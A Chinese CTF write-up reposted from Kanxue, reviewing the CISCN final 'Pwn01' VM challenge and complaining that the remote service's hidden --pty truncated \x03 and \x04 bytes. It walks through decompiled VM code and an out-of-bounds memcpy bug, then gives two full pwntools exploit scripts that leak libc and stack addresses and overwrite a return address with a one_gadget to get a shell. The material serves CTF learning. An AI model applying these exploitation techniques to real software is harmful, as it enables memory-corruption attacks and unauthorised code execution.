文章总结: 本文复盘CISCN决赛Pwn01VM题目,核心在于逆向VM指令集并分析漏洞利用。作者详细逆向main函数,解析了push、pop、mov、逻辑运算、内存拷贝等指令操作码,并指出VM实现中的漏洞点,为后续利用提供基础。文章强调逆向是VM题目解题关键,并展示了从指令逻辑分析到漏洞利用的完整思路,对CTFPwn方向有实战参考价值。 综合评分: 82 文章分类: CTF,逆向分析,二进制安全,漏洞分析,实战经验
一场 VM 题目的逆向与利用分析:CISCN 决赛 Pwn01 复盘
一叶梦花 一叶梦花
看雪学苑
2026年9月14日 17:59 上海
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
01
逆向及解题思路
首先,vm 题目最重要的肯定是逆向,只有过得了指令逻辑才能谈未来。
OK,这里压力逆向手逆向的结果如下:
int __fastcall main(int argc, const char **argv, const char **envp)
{
vm_opcode *opcode_1; // rax
_QWORD *sp; // rax
vm_opcode *opcode_5; // rax
vm_opcode *opcode_6; // rcx
_QWORD *sp_1; // rax
vm_opcode *opcode_3; // rax
vm_opcode *opcode_4; // rax
vm_opcode *opcode_7; // rax
vm_opcode *opcode_8; // rax
vm_opcode *opcode_9; // rax
vm_opcode *opcode_10; // rax
unsigned __int64 *mem1; // rsi
vm_opcode *opcode_11; // rdx
vm_opcode *opcode_12; // rax
unsigned __int8 *mem1_1; // rsi
vm_opcode *opcode_13; // rdx
vm_opcode *opcode_14; // rax
vm_opcode *opcode_15; // rax
vm_opcode *opcode_16; // rax
vm_opcode *opcode_17; // rax
vm_opcode *opcode_18; // rax
vm_opcode *opcode_19; // rax
vm_opcode *opcode_20; // rax
vm_opcode *opcode_21; // rax
vm_opcode *opcode_22; // rax
vm_opcode *opcode_23; // rax
vm_opcode *opcode_24; // rax
vm_opcode *opcode_25; // rax
vm_opcode *opcode_26; // rax
vm_opcode *opcode_27; // rax
vm_opcode *opcode_28; // rax
vm_opcode *opcode_29; // rax
vm_opcode *opcode_30; // rax
vm_opcode *opcode_2; // rax
unsigned __int8 v38; // [rsp+Eh] [rbp-32h]
unsigned __int8 v39; // [rsp+Eh] [rbp-32h]
unsigned __int8 v40; // [rsp+Eh] [rbp-32h]
unsigned __int8 v41; // [rsp+Eh] [rbp-32h]
unsigned __int8 n; // [rsp+Eh] [rbp-32h]
unsigned __int8 v43; // [rsp+Eh] [rbp-32h]
unsigned __int8 v44; // [rsp+Eh] [rbp-32h]
unsigned __int8 v45; // [rsp+Eh] [rbp-32h]
unsigned __int8 v46; // [rsp+Eh] [rbp-32h]
unsigned __int8 v47; // [rsp+Eh] [rbp-32h]
unsigned __int8 v48; // [rsp+Eh] [rbp-32h]
unsigned __int8 v49; // [rsp+Eh] [rbp-32h]
unsigned __int16 len; // [rsp+10h] [rbp-30h]
int code2; // [rsp+14h] [rbp-2Ch]
vm_mem *mem; // [rsp+18h] [rbp-28h] BYREF
vm_opcode *opcode; // [rsp+20h] [rbp-20h] BYREF
void *dest; // [rsp+28h] [rbp-18h]
void *src; // [rsp+30h] [rbp-10h]
unsigned __int64 canary; // [rsp+38h] [rbp-8h]
canary = __readfsqword(0x28u);
io_init();
mem = (vm_mem *)calloc(0x900u, 1u);
opcode = (vm_opcode *)calloc(0x58u, 1u);
if ( (unsigned int)handle_alloc_failed(mem, opcode) )
return 1;
opcode->bp = (unsigned __int8 *)mem->stack;
opcode->sp = opcode->bp;
opcode->code = (unsigned __int8 *)mem;
len = fetch_len();
read_code(mem, len);
while ( opcode->code < (unsigned __int8 *)mem + len )
{
switch ( *opcode->code )
{
case '1': // push imm
if ( opcode->sp >= mem->mem1 )
{
opcode_1 = opcode;
++opcode->code;
code2 = *opcode_1->code;
sp = opcode->sp;
opcode->sp = sp - 1;
*sp = code2;
++opcode->code;
}
continue;
case '2': // push reg
if ( opcode->sp >= mem->mem1 )
{
opcode_5 = opcode;
++opcode->code;
v38 = *opcode_5->code & 7;
opcode_6 = opcode;
sp_1 = opcode->sp;
opcode->sp = sp_1 - 1;
*sp_1 = opcode_6->reg[v38];
++opcode->code;
}
continue;
case '3': // pop
if ( opcode->bp >= (unsigned __int8 *)opcode->sp )
{
opcode_3 = opcode;
++opcode->code;
v39 = *opcode_3->code & 7;
opcode_4 = opcode;
++opcode->sp;
opcode->reg[v39] = (char *)*opcode_4->sp;
++opcode->code;
}
continue;
case '4': // mov reg, reg
opcode_7 = opcode;
++opcode->code;
v40 = *opcode_7->code & 7;
opcode_8 = opcode;
++opcode->code;
opcode->reg[v40] = opcode->reg[*opcode_8->code & 7];
++opcode->code;
continue;
case '5': // mov reg, imm
opcode_9 = opcode;
++opcode->code;
v41 = *opcode_9->code & 7;
opcode_10 = opcode;
++opcode->code;
opcode->reg[v41] = *(char **)opcode_10->code;
opcode->code += 8;
continue;
case '6': // // 6 i1 i2
// mem[reg[i1]] = mem[reg[i2]]
mem1 = (unsigned __int8 *)mem->mem1;
opcode_11 = opcode;
opcode_12 = opcode;
++opcode->code;
dest = &mem1[8 * (unsigned __int8)opcode_11->reg[*opcode_12->code & 7]];
mem1_1 = (unsigned __int8 *)mem->mem1;
opcode_13 = opcode;
opcode_14 = opcode;
++opcode->code;
src = &mem1_1[8 * (unsigned __int8)opcode_13->reg[*opcode_14->code & 7]];
opcode_15 = opcode;
++opcode->code;
n = *opcode_15->code - 1;
opcode->code += 2;
memcpy(dest, src, n);
continue;
case '7': // and reg1, reg2
opcode_16 = opcode;
++opcode->code;
v43 = *opcode_16->code & 7;
opcode_17 = opcode;
++opcode->code;
opcode->reg[v43] = (char *)((__int64)opcode->reg[v43] & (__int64)opcode->reg[*opcode_17->code & 7]);
++opcode->code;
continue;
case '8': // or reg1, reg2
opcode_18 = opcode;
++opcode->code;
v44 = *opcode_18->code & 7;
opcode_19 = opcode;
++opcode->code;
opcode->reg[v44] = (char *)((__int64)opcode->reg[v44] | (__int64)opcode->reg[*opcode_19->code & 7]);
++opcode->code;
continue;
case '9': // xor reg1, reg2
opcode_20 = opcode;
++opcode->code;
v45 = *opcode_20->code & 7;
opcode_21 = opcode;
++opcode->code;
opcode->reg[v45] = (char *)((__int64)opcode->reg[v45] ^ (__int64)opcode->reg[*opcode_21->code & 7]);
++opcode->code;
continue;
case '@': // not reg1, reg2
opcode_22 = opcode;
++opcode->code;
opcode->reg[*opcode_22->code & 7] = (char *)~(__int64)opcode->reg[*opcode_22->code & 7];
++opcode->code;
continue;
case 'A': // shr reg1, reg2
opcode_23 = opcode;
++opcode->code;
v46 = *opcode_23->code & 7;
opcode_24 = opcode;
++opcode->code;
opcode->reg[v46] = (char *)((unsigned __int64)opcode->reg[v46] >> (char)opcode->reg[*opcode_24->code & 7]);
++opcode->code;
continue;
case 'B': // shl reg1, reg2
opcode_25 = opcode;
++opcode->code;
v47 = *opcode_25->code & 7;
opcode_26 = opcode;
++opcode->code;
opcode->reg[v47] = (char *)((__int64)opcode->reg[v47] << (__int64)opcode->reg[*opcode_26->code & 7]);
++opcode->code;
continue;
case 'C': // add
opcode_27 = opcode;
++opcode->code;
v48 = *opcode_27->code & 7;
opcode_28 = opcode;
++opcode->code;
opcode->reg[v48] += (unsigned __int64)opcode->reg[*opcode_28->code & 7];
++opcode->code;
continue;
case 'D': // sub
opcode_29 = opcode;
++opcode->code;
v49 = *opcode_29->code & 7;
opcode_30 = opcode;
++opcode->code;
opcode->reg[v49] -= (unsigned __int64)opcode->reg[*opcode_30->code & 7];
++opcode->code;
continue;
case 'E': // jmp
opcode_2 = opcode;
++opcode->code;
opcode->code = (unsigned __int8 *)mem + *opcode_2->code;
continue;
default:
if ( opcode->code >= (unsigned __int8 *)mem + len )
{
++opcode->code;
}
else
{
if ( (unsigned int)expand(&opcode, &mem) )
return 1;
len = fetch_len();
read_code(mem, len);
}
break;
}
}
return 0;
}
struct vm_mem // sizeof=0x10F0
00000000 {
00000000 unsigned __int64 mem0[32];
00000100 unsigned __int64 mem1[255];
000008F8 unsigned __int64 stack[255];
000010F0 };
00000000 struct vm_opcode // sizeof=0x58
00000000 {
00000000 unsigned __int8 *code;
00000008 _QWORD *sp;
00000010 unsigned __int8 *bp;
00000018 __int64 reg[8];
00000338 };
(比赛时时间比较紧张,发文前我也没 check,有错误还请多担待)
整个逻辑是先申请 0x900 的堆块作为存放 code 的内存和 stack,然后申请 0x58 的 opcode,结构为指向 code 的指针、bp 指针、sp 指针和 8 个 8 字节大小的寄存器。
可以看到,除去一些很常规的指令,唯一有内存操作的只有 case 6,即有 memcpy 函数的指令。
那很明显,就要集中看这个指令漏洞在哪里。
case '6': // // 6 i1 i2
// mem[reg[i1]] = mem[reg[i2]]
mem1 = (unsigned __int8 *)mem->mem1;
opcode_11 = opcode;
opcode_12 = opcode;
++opcode->code;
dest = &mem1[8 * (unsigned __int8)opcode_11->reg[*opcode_12->code & 7]];
mem1_1 = (unsigned __int8 *)mem->mem1;
opcode_13 = opcode;
opcode_14 = opcode;
++opcode->code;
src = &mem1_1[8 * (unsigned __int8)opcode_13->reg[*opcode_14->code & 7]];
opcode_15 = opcode;
++opcode->code;
n = *opcode_15->code - 1;
opcode->code += 2;
memcpy(dest, src, n);
continue;
一开始变量类型没设置好的话会比较难察觉,但是直接查看汇编时会发现,dst 和 src 的地址是类似mem2+offset,而这个 offset 是从寄存器中取的值,这个值先取单字节,再被 *8。
此时,可以注意力惊人的发现,这个 mem2 到 opcode 的大小是小于这个 offset,而 dst 和 src 的地址都是 mem2+offset,也就是说是越界读写!(读写到 stack,再进寄存器就可操控值了)
经实测,将寄存器设置为 255,在 *8 后会覆盖/读取到 opcode 的值,越界读写的猜想证明成功。
而同时,最后面的 default 里有 free,它在满足一定条件后不仅可以释放原先堆块申请新堆块,还会好心地把原先内存、寄存器值复制过去,并且重新读取 code。
这样 free 完,新的堆块上方就存在了一个有 libc unsorted bin 堆块,虽然有 0x900 距离,但看上去近在咫尺。
赢了吗?没有。
在众多指令中,只有 push 和 pop 有实际读写能力,因此,得仔细查看它们的限制。
case '1': // push imm
if ( opcode->sp >= mem->mem1 )
{
opcode_1 = opcode;
++opcode->code;
code2 = *opcode_1->code;
sp = opcode->sp;
opcode->sp = sp - 1;
*sp = code2;
++opcode->code;
}
continue;
case '2': // push reg
if ( opcode->sp >= mem->mem1 )
{
opcode_5 = opcode;
++opcode->code;
v38 = *opcode_5->code & 7;
opcode_6 = opcode;
sp_1 = opcode->sp;
opcode->sp = sp_1 - 1;
*sp_1 = opcode_6->reg[v38];
++opcode->code;
}
continue;
case '3': // pop
if ( opcode->bp >= (unsigned __int8 *)opcode->sp )
{
opcode_3 = opcode;
++opcode->code;
v39 = *opcode_3->code & 7;
opcode_4 = opcode;
++opcode->sp;
opcode->reg[v39] = (char *)*opcode_4->sp;
++opcode->code;
}
continue;
此时发现,push 被限制了,在指令里有这么判断条件:sp 地址 >= mem 地址才能执行 push,这个 mem 指针地址在栈上,很不幸,写能力被限制在堆地址及更高的地址了。
而 pop,读取 libc 的关键,它的 check 条件是 bp >= sp 即可,这两个值都是在 opcode 中可控的。
那么,胜利的方程式已经写好了:
先利用越界读写保存堆地址,地址进入 stack 再进入 reg,将其在寄存器改偏移后利用越界读写操控 sp、bp,将unsorted bin 的libc 地址 pop 进入 reg。
然后同样的方法操控 sp、bp 读 environ 栈地址,最后操控 sp 到栈上,用push覆盖 main函数 返回地址打 ogg。
其中要保证 0x61 的堆块 size 和 code 指针指向正确。
(当时和队友打 awdp 打的已经过载了,只能想到这种攻击方法了,有更好的方法欢迎大家在评论区评论)
“如今 flag 就在眼前,我必须考虑这是否是我此生唯一的机会”
看上去很难的一条路径,实际写指令也很痛苦。
最后,在距比赛结束还有不到一个小时的时候,队友写出了打通本地的 exp,如下:
#!/bin/python3
from pwn import *
context.arch='amd64'
context.os='linux'
context.log_level = 'debug'
context.timeout = 10000
# context.terminal = ['tmux', 'splitw', '-h']
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: c.sendlineafter(data,content)
sa = lambda data, content: c.sendafter(data,content)
sl = lambda data: c.sendline(data)
s = lambda data: c.send(data)
rl = lambda data: c.recvuntil(data)
re = lambda data: c.recv(data)
l64 = lambda :u64(c.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda :u64(c.recv(6).ljust(8,b'\x00'))
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
gdbs = '''
# b * $rebase(0x1689) if $eax == 6
# b * $rebase(0x1857)
b * $rebase(0x1d48)
set follow-fork-mode child
c
'''
# c=gdb.debug(['./pwn'],gdbs)
c=process(['./pwn'])
#c=remote('192.168.18.24', 8888 )
pushr = lambda r1: b'2'+bytes([r1])
pushi = lambda i1: b'1'+bytes([i1])
pop = lambda r1: b'3'+bytes([r1])
movr = lambda r1, r2: b'4'+bytes([r1, r2])
movi = lambda r1, i1: b'5'+bytes([r1, i1])
memcpy = lambda r1, r2, len: b'6'+bytes([r1, r2, len, 0])
andr = lambda r1, r2: b'7'+bytes([r1, r2])
orr = lambda r1, r2: b'8'+bytes([r1, r2])
xorr = lambda r1, r2: b'9'+bytes([r1, r2])
notr = lambda r1: b'@'+bytes([r1])
shrr = lambda r1, r2: b'A'+bytes([r1, r2])
shlr = lambda r1, r2: b'B'+bytes([r1, r2])
add = lambda r1, r2: b'C'+bytes([r1, r2])
sub = lambda r1, r2: b'D'+bytes([r1, r2])
jmpi = lambda i1: b'E'+bytes([i1])
bb = lambda : b'\xFF'
payload = b''.join([
b'\0'
])
sla(b'>> ', str(len(payload)).encode())
sa(b'>>', payload)
payload = b''.join([
pushi(255),
pushi(255),
pushi(255),
pushi(255),
pushi(255),
pushi(255),
pop(3),
pushi(255-6),
pop(4),
memcpy(4, 3, 0x18+0x18),
pop(0),
pop(5), pop(6), pop(7),
pushi(0x49),
pop(0),
pushi(6),
pop(1),
shlr(0, 1),
pushi(0x2d),
pop(1),
sub(6, 0), sub(7, 0), add(5, 1),
pushr(7), pushr(6), pushr(5), pushi(0x61),
memcpy(3, 4, 0x18+0x18),
pop(7), # 0x1e6b20
b'\0'
])
sla(b'>> ', str(len(payload)).encode())
sa(b'>>', payload)
payload = b''.join([
pushi(0xe),
pop(3),
pushi(8),
pop(1),
shlr(3, 1),
pushi(0x61),
pop(0),
add(3, 0),
pushi(3),
pop(0),
shlr(3, 0),
add(7, 3),
sub(7, 1),
pushr(7),
pop(6),
pushi(0x60),
pop(0),
add(6, 0),
pushi(0x9),
pop(2),
shlr(2, 1),
pushi(0x61-3),
pop(0),
add(2, 0),
sub(5, 2),
pushr(0),
pushr(6),
pushr(7),
pushr(5),
pushi(0x61), pushi(0), pushi(0xff),
pushi(255),
pop(3),
pushi(255-10),
pop(4),
memcpy(3, 4, 0x18+0x18),
pop(6), #0x130
b'\0'
])
sla(b'>> ', str(len(payload)).encode())
sa(b'>>', payload)
ogg = 0xe4d70
# 0x1090b0
payload = b''.join([
pushi(0x1),
pop(2),
pushi(8),
pop(1),
shlr(2, 1), #0x100 (0x30 = 8*6)
sub(6, 2),
pushi(0x10),
pop(2),
shlr(2, 1),
pushi(0x90),
pop(0),
add(2, 0),
shlr(2, 1),
pushi(0xb0),
pop(0),
add(2, 0),
sub(7, 2), # reg7 = ogg
pushi(0x9),
pop(2),
shlr(2, 1),
pushi(0x6f),
pop(0),
add(2, 0),
add(5, 2),
pushi(0x77),
pushr(6),
pushr(6),
pushr(5),
pushi(0x61), pushi(0), pushi(0xff),
pushi(255),
pop(3),
pushi(255-17),
pop(4),
memcpy(3, 4, 0x18+0x18),
pushr(7), pushr(7), pushr(7), pushr(7), pushr(7), pushr(7), pushr(7)
])
# gdb.attach(c, gdbs)
sla(b'>> ', str(len(payload)).encode())
sa(b'>>', payload)
c.interactive()
意气风发啊,队友!也就是说,是我们赢了!
02
下一话!猜谜
然后,就发现了这题目前零解是有原因的。
远程的交互竟然与本地不一样,而题目附件和题目描述中并没有给出任何说明。
在远程的交互中,发送的内容会被输出回显并加上 \r\n ,不可见字符会变成 ^* (*代表可见字符,如 \x00 会变成 ^@),是与 qemu 启动的内核题目交互很像的形式。
而 exp 在第二次输入时被截断。
此时,经过询问裁判,裁判与出题人确认后,给我们的答复仅有:”题目附件并没有问题,远程运行的程序与题目附件一致”
我当然知道附件没问题啊,甚至在这种时刻,仍有一个什么也不懂的裁判在不停地质疑我们,为什么不走平台,为什么…
可能这名裁判觉得,他们的比赛办的很好,发出质疑的选手一定是个人有问题。
当我们再询问远程的表现时,裁判模糊的告诉我们:”具体细节不能告知,或许跟容器有关”
“这个也算考点吗?”
“……”
唯有沉默…
当我们连启动脚本和远程环境都没有就让我们猜原因,好的,很符合我对 ctf 题目的印象,远程吗,总有打不通的时候。也许就是我们技不如人,有什么细节疏忽了导致的。
可是这种毫无征兆的 EOF 该怎么调试呢?
或许经验丰富的师傅们,或许接触过这类问题的师傅们能立即知道是为什么。但很可惜,我们缺乏经验,或者应该说,我们认为 ctf pwn 不会在附件和题目描述以外的地方设置无必要的交互门槛。
而我和队友当时在花了三个小时逆向、分析、写exp,而此刻比赛只剩半个小时,没有遇到过这种情况的境地,甚至没有能本地搭建环境的办法,猪脑已过载,开始猜测吧。
好吧,也许是远程堆块不一样,也许是 io 有问题,要用特别的方法传输。
也许是某些字符截断了呢?
带着不甘与疑惑,我们没有在结束前打通远程,我们看到了这题有别的学校拿到了一血,而我们很可惜地错过了解出题目的机会。
……
真是抱歉啊,没能让国赛大人尽兴。
再次回到一个小时前,我还是觉得我们会赢。
03
最后,解密环节
在队友赛后不懈努力下,他试出了 \x03 和 \x04 会被截断,这俩一个 ctrl+c 一个 ctrl+d,答案很明显了。
气笑了。
在不用这两个的情况下,他稍加修改脚本就打通了远程。
拿到了启动脚本。
#!/bin/bash
set -e
# override flag from env
# if environmental variable FLAG is not empty string
if [ ! -z $FLAG ]
then
if [ "$(cat /home/ctf/flag.txt)" != "$FLAG" ]
then
echo $FLAG > /home/ctf/flag.txt
chmod 644 /home/ctf/flag.txt
fi
fi
# the env will not pass to ctf
unset FLAG
cd /home/ctf
# run pwn challenge
exec runuser -u ctf --pty -- timeout 300 ./pwn
"--pty"
……
我不知道为什么一个没有必要的东西会被加上,我不知道为什么一个普通的 vm pwn 题,要使用 tty,甚至不关闭它的缺点(是的,可以设置即便使用 tty 也不被截断)。
他甚至可以在附件里明文加上:不准使用 \x03 \x04
但是他没有。
我不知道比赛时做出这题的师傅笑没笑,但是我先笑为敬了。
我们没有立刻联想到这个点,我们那半个小时大部分时间在想,堆风水调的不够好,远程直接内存损坏死掉了,看看其他题吧。
我承认技不如人,可我们觉得,一个以 vm pwn 为背景的 ctf 题目不该如此,但凡把启动脚本放在附件中,但凡题目描述提到这个 --pty ,结果都也许会不一样。
压垮选手的最后一根稻草,是在一个跟题目毫无关系的细节上,设置一个毫无意义的障碍,只是为了让选手打不通远程。
我无法相信裁判那句”这是一个故意隐藏的坑点”。与其说这是一个为了出题而出题的设置,这是一个 --pty 启动的 pwn 题,倒不如直接说”出题人使用了一个有问题的模板容器,自己出题的时候都没想到,明明能被 vm 正常解析的 \x03 \x04会被一个没有任何提示,全靠猜测的 tty 截断,而导致使用了 3 号和 4 号寄存器的 payload 打不通”
这不仅仅是一次出题上的疏忽,更是印证了某高校相关工作单位和人员在办赛态度上的敷衍和极度的不负责。
这跟五条悟在释放虚式茈后被腰斩有什么区别呢。
没办法,真没招了,没想到,技不如人,做题做少了,没见过,差一点,这里有无数的解释。
可是,对于这个最后没做出来的题,什么解释都没办法解释我们的遗憾。
我不知道有多少师傅尝试了这个题,希望我的简析能有所帮助,就这样,over。
下面是远程脚本:
#!/bin/python3
from pwn import *
context.arch='amd64'
context.os='linux'
context.log_level = 'debug'
context.timeout = 10000
# context.terminal = ['tmux', 'splitw', '-h']
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: c.sendlineafter(data,content)
sa = lambda data, content: c.sendafter(data,content)
sl = lambda data: c.sendline(data)
s = lambda data: c.send(data)
rl = lambda data: c.recvuntil(data)
re = lambda data: c.recv(data)
l64 = lambda :u64(c.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda :u64(c.recv(6).ljust(8,b'\x00'))
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
gdbs = '''
# b * $rebase(0x1689) if $eax == 6
b * $rebase(0x1857)
# b * $rebase(0x1d48)
set follow-fork-mode child
c
'''
# c=gdb.debug(['./pwn'],gdbs)
# c=process(['./pwn'])
c=remote('192.168.18.24', 8888 )
pushr = lambda r1: b'2'+bytes([r1])
pushi = lambda i1: b'1'+bytes([i1])
pop = lambda r1: b'3'+bytes([r1])
movr = lambda r1, r2: b'4'+bytes([r1, r2])
movi = lambda r1, i1: b'5'+bytes([r1, i1])
memcpy = lambda r1, r2, len: b'6'+bytes([r1, r2, len, 0])
andr = lambda r1, r2: b'7'+bytes([r1, r2])
orr = lambda r1, r2: b'8'+bytes([r1, r2])
xorr = lambda r1, r2: b'9'+bytes([r1, r2])
notr = lambda r1: b'@'+bytes([r1])
shrr = lambda r1, r2: b'A'+bytes([r1, r2])
shlr = lambda r1, r2: b'B'+bytes([r1, r2])
add = lambda r1, r2: b'C'+bytes([r1, r2])
sub = lambda r1, r2: b'D'+bytes([r1, r2])
jmpi = lambda i1: b'E'+bytes([i1])
bb = lambda : b'\xFF'
def sendpayload(payload : bytes):
sa(b'>> ', str(len(payload)).encode()+b'\n')
c.recvuntil(b'bytecode >>')
assert(b'\x03' not in payload and b'\x04' not in payload)
c.sendline(payload)
payload = b''.join([
b's'
])
sendpayload(payload)
# 0x8f8
payload = b''.join([
pushi(255),
pushi(255),
pushi(255),
pushi(255),
pushi(255),
pushi(255),
pop(0),
pushi(255-6),
pop(1),
memcpy(1, 0, 0x18+0x18),
pop(0),
pop(5), pop(6), pop(7),
pushi(0x49),
pop(0),
pushi(6),
pop(1),
shlr(0, 1),
pushi(0x2d+8),
pop(1),
sub(6, 0), sub(7, 0), add(5, 1),
pushr(7), pushr(6), pushr(5), pushi(0x61),
pushi(255),
pop(0),
pushi(255-6),
pop(1),
memcpy(0, 1, 0x18+0x18),
pop(7), # 0x1e6b20
b's'
])
sendpayload(payload)
payload = b''.join([
pushi(0xe),
pop(2),
pushi(8),
pop(1),
shlr(2, 1),
pushi(0x61),
pop(0),
add(2, 0),
pushi(1),
pop(0),
shlr(2, 0),
shlr(2, 0),
shlr(2, 0),
add(7, 2),
sub(7, 1),
pushr(7),
pop(6),
pushi(0x60),
pop(0),
add(6, 0),
pushi(0x9),
pop(2),
shlr(2, 1),
pushi(0x60),
pop(0),
add(2, 0),
sub(5, 2),
pushr(0),
pushr(6),
pushr(7),
pushr(5),
pushi(0x61), pushi(0), pushi(0xff),
pushi(255),
pop(0),
pushi(255-10),
pop(1),
memcpy(0, 1, 0x18+0x18),
pop(6), #0x130
b'\0'
])
sendpayload(payload)
ogg = 0xe4d70
# 0x1090b0
payload = b''.join([
pushi(0x7),
pop(2),
pushi(5),
pop(1),
shlr(2, 1), #0x100 (0x30 = 8*6)
sub(6, 2),
pushi(0x10),
pop(2),
pushi(8),
pop(1),
shlr(2, 1),
pushi(0x90),
pop(0),
add(2, 0),
shlr(2, 1),
pushi(0xb0),
pop(0),
add(2, 0),
sub(7, 2), # reg7 = ogg
pushi(0x9),
pop(2),
shlr(2, 1),
pushi(0x6d),
pop(0),
add(2, 0),
add(5, 2),
pushi(0x77),
pushr(6),
pushr(6),
pushr(5),
pushi(0x61), pushi(0), pushi(0xff),
pushi(255),
pop(0),
pushi(255-17),
pop(1),
memcpy(0, 1, 0x18+0x18),
pushr(7), pushr(7), pushr(7), pushr(7), pushr(7),
pushr(7), pushr(7), pushr(7), pushr(7), pushr(7), pushr(7)
])
# gdb.attach(c, gdbs)
sendpayload(payload)
c.interactive()
或许有师傅不清楚 pty以及 \x03 \x04被截断的原理,这里打两天比赛再赶回去上班已经有点力竭了,所以很抱歉,麻烦问问 ai 吧,我已经没有力气整理了。
关于最后领奖 & 赛后打通这题队友的趣事补充
“已经改签了一次,还有 50 分钟发车,可奖状还没发。”
“退票了,已经赶不上了。”
“会有招的,又不是用 pty 交互的 pwn 题”
04
关于 awdp 平台的 fix 环节笑谈
为什么我们遇到远程不一样会直接喊裁判,因为我们 fix 时发现有问题询问裁判,而裁判自己都不知道运行update.sh的工作目录在哪,甚至有的题目给出的模板脚本在远程运行时报错(题目附件中的模板有一行 set -euo pipefail ,显然没有人在赛前测试这些题目并检查附件内容),导致我们白费了好长时间。
很难想象这是 cn ctf 规模最大的比赛之一该有的题目质量。
讽刺的是,最后能成功 fix 的原因是,我们打通了防守 URL 的机器,看到了远程仍在运行的旧进程,才知道这个神仙平台是先启动服务进程,再执行 update.sh
……
在后面做 ctf 时已经 ptsd 了,谁能想到在 pwn 的 awdp 中也要自己重启服务才能 fix 成功呢?谁又能想到,在一个普通的 ctf vm pwn 中,偏偏要用 –pty 启动题目呢?
看雪ID:一叶梦花
https://bbs.kanxue.com/user-home-1002422.htm
*本文为看雪论坛精华文章,由 一叶梦花 原创,转载请注明来自看雪社区
售票开启!10月23日上海见
往期推荐
Frida 整体启动逻辑
VT调试器原理揭秘–DebugPort转移与重建调试体系
App 抽取壳的内存脱壳与请求签名逆向
ART 执行链与 Nterp:解析 FART Android12‑16 失效问题
Hitcon-2016-babytrick 解题报告
球分享
球点赞
球在看
点击阅读原文查看更多
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:看雪学苑 一叶梦花 一叶梦花《一场 VM 题目的逆向与利用分析:CISCN 决赛 Pwn01 复盘》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论